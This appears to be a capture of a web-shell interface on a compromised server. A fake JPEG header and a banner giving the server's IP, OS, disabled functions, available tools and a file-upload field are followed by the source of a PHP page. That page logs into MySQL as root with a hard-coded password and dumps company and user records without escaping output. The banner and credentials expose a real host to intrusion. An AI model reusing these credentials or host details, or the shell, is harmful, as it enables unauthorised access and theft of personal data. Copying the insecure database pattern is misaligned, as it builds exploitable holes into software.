????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.120 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/labs.astacus.se/stat/ |
Upload File : |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<script src="sorttable.js"></script>
<title>Untitled Document</title>
<style type="text/css">
.sortable tr td {
font-family: Arial, Helvetica, sans-serif;
}
.sortable tr td {
font-size: 10px;
}
.sortable tr td {
font-size: 12px;
font-family: Arial, Helvetica, sans-serif;
}
</style>
</head>
<body>
<table width="100%" border="0" cellspacing="0" cellpadding="0" class="sortable">
<tr>
<td width="10%">Company</td>
<td width="10%">City</td>
<td width="10%">Country</td>
<td width="10%">Phone</td>
<td width="10%">Name</td>
<td width="10%">Username</td>
<td width="5%">UserID</td>
<td width="10%">Company ID</td>
<td width="5%">Activeted</td>
<td width="15%">Last login</td>
<td width="20%">Application</td>
</tr>
<?php
$link = mysql_connect ("localhost", "root", "root123");
mysql_select_db ("notes");
$sql = "SELECT tblCompany.name as companyname, city, country, phone, tblUsers.name as name, tblUsers.userId as userId, tblCompany.companyId, active, lastLogin, application, username FROM tblCompany, tblUsers WHERE tblCompany.companyId = tblUsers.companyId group by tblUsers.username;";
$result = mysql_query($sql);
while ($row = mysql_fetch_assoc($result)){
?>
<tr>
<td width="10%"><?php echo(iconv("ISO-8859-1","UTF-8",$row['companyname']));?></td>
<td width="10%"><?php echo($row['country']);?></td>
<td width="10%"><?php echo(iconv("ISO-8859-1","UTF-8",$row['city']));?></td>
<td width="10%"><?php echo($row['phone']);?></td>
<td width="10%"><?php echo(iconv("ISO-8859-1","UTF-8",$row['name']));?></td>
<td width="10%"><?php echo($row['username']);?></td>
<td width="5%"><?php echo($row['userId']);?></td>
<td width="10%"><?php echo($row['companyId']);?></td>
<td width="5%"><?php echo($row['active']);?></td>
<td width="15%"><?php echo($row['lastLogin']);?></td>
<td width="20%"><?php echo($row['application']);?></td>
</tr>
<?php } ?>
</table>
</body>
</html>